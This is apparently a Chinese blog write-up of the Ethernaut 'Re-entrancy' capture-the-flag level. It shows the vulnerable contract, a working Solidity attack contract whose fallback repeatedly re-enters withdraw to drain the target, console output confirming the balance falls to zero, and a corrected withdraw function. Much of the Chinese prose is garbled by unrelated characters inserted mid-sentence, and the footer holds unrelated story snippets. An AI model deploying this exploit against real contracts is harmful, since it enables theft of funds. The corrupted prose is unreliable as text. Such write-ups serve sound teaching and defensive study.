2023-05-14 re-entrency 第10個(gè)任務(wù)分析

題目要求:

The goal of this level is for you to steal all the funds from the contract.

  Things that might help:

*   Untrusted contracts can execute code where you least expect it.
*   Fallback methods
*   Throw/revert bubbling
*   Sometimes the best way to attack a contract is with another contract.
*   See the ["?"](https://ethernaut.openzeppelin.com/help) page above, section "Beyond the console"

項(xiàng)目源碼:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

題目解析:
又是一個(gè)先給錢再更新狀態(tài)的奇葩镐捧,只要碰到介種情況,盡管重入就是了
calltransfersend還有不一樣的地方臭增,沒(méi)有限制gas的數(shù)量懂酱,這也導(dǎo)致了對(duì)應(yīng)合約容易被構(gòu)造合約多次執(zhí)行。

控制臺(tái)執(zhí)行await getBalance(contract.address)誊抛,可得結(jié)果:

'0.001'

控制臺(tái)執(zhí)行web3.utils.toWei(await getBalance(contract.address))列牺,可得結(jié)果:

'1000000000000000'

項(xiàng)目合約在contract.address:'0xE5cE03e3ddCCd4255d96f96Cf7150c0b4202d803',等下合約代碼就是這啦

我的源碼:

pragma solidity ^0.8.7;

import 'openzeppelin-contracts/math/SafeMath.sol';

contract AttackReentrance {
  
    address payable target;
    address payable public owner;
    uint amount = 1000000000000000 wei;

    constructor() public payable {
        target = payable(0xE5cE03e3ddCCd4255d96f96Cf7150c0b4202d803);
        owner = payable(msg.sender);
    }

    function donate1() public payable{
        bool b;
        (b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
        require(b,"donate1 error");
    }

    function withdraw2() public payable {
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"withdraw2 error");
    }

    fallback () external payable{
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"fallback error");
    }

    function mywithdraw() external payable{
        require(msg.sender==owner,'not you');
        payable(msg.sender).transfer(address(this).balance);
    }

}

記得在部署合約階段就給合約打0.001eth拗窃,不然執(zhí)行失敗不要找我瞎领!
先運(yùn)行donate1再運(yùn)行withdraw2,就可以把合約的水一把抽干随夸!

控制臺(tái)執(zhí)行await getBalance(contract.address)九默,可得結(jié)果:

'0'

如果有人寫了這種代碼怎么糾正:

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      balances[msg.sender] -= _amount;//這里先更新狀態(tài)再轉(zhuǎn)幣
      (bool result,) = msg.sender.call{value:_amount}("");
      if(!result) { // 防止合約失敗時(shí)被合約方吞幣
        balances[msg.sender] += _amount;
      }
    }
  }

作者后話:
In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.

transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市宾毒,隨后出現(xiàn)的幾起案子驼修,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,718評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件乙各,死亡現(xiàn)場(chǎng)離奇詭異墨礁,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)耳峦,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,683評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門恩静,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人妇萄,你說(shuō)我怎么就攤上這事蜕企。” “怎么了冠句?”我有些...
    開封第一講書人閱讀 158,207評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵轻掩,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我懦底,道長(zhǎng)唇牧,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,755評(píng)論 1 284
  • 正文 為了忘掉前任聚唐,我火速辦了婚禮丐重,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘杆查。我一直安慰自己扮惦,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,862評(píng)論 6 386
  • 文/花漫 我一把揭開白布亲桦。 她就那樣靜靜地躺著崖蜜,像睡著了一般。 火紅的嫁衣襯著肌膚如雪客峭。 梳的紋絲不亂的頭發(fā)上豫领,一...
    開封第一講書人閱讀 50,050評(píng)論 1 291
  • 那天,我揣著相機(jī)與錄音舔琅,去河邊找鬼等恐。 笑死,一個(gè)胖子當(dāng)著我的面吹牛备蚓,可吹牛的內(nèi)容都是我干的课蔬。 我是一名探鬼主播,決...
    沈念sama閱讀 39,136評(píng)論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼郊尝,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼二跋!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起虚循,我...
    開封第一講書人閱讀 37,882評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤同欠,失蹤者是張志新(化名)和其女友劉穎样傍,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體铺遂,經(jīng)...
    沈念sama閱讀 44,330評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡衫哥,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,651評(píng)論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了襟锐。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片撤逢。...
    茶點(diǎn)故事閱讀 38,789評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖粮坞,靈堂內(nèi)的尸體忽然破棺而出蚊荣,到底是詐尸還是另有隱情,我是刑警寧澤莫杈,帶...
    沈念sama閱讀 34,477評(píng)論 4 333
  • 正文 年R本政府宣布互例,位于F島的核電站,受9級(jí)特大地震影響筝闹,放射性物質(zhì)發(fā)生泄漏媳叨。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,135評(píng)論 3 317
  • 文/蒙蒙 一关顷、第九天 我趴在偏房一處隱蔽的房頂上張望糊秆。 院中可真熱鬧,春花似錦议双、人聲如沸痘番。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,864評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)汞舱。三九已至,卻和暖如春觉增,著一層夾襖步出監(jiān)牢的瞬間兵拢,已是汗流浹背翻斟。 一陣腳步聲響...
    開封第一講書人閱讀 32,099評(píng)論 1 267
  • 我被黑心中介騙來(lái)泰國(guó)打工逾礁, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人访惜。 一個(gè)月前我還...
    沈念sama閱讀 46,598評(píng)論 2 362
  • 正文 我出身青樓嘹履,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親债热。 傳聞我的和親對(duì)象是個(gè)殘疾皇子砾嫉,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,697評(píng)論 2 351

推薦閱讀更多精彩內(nèi)容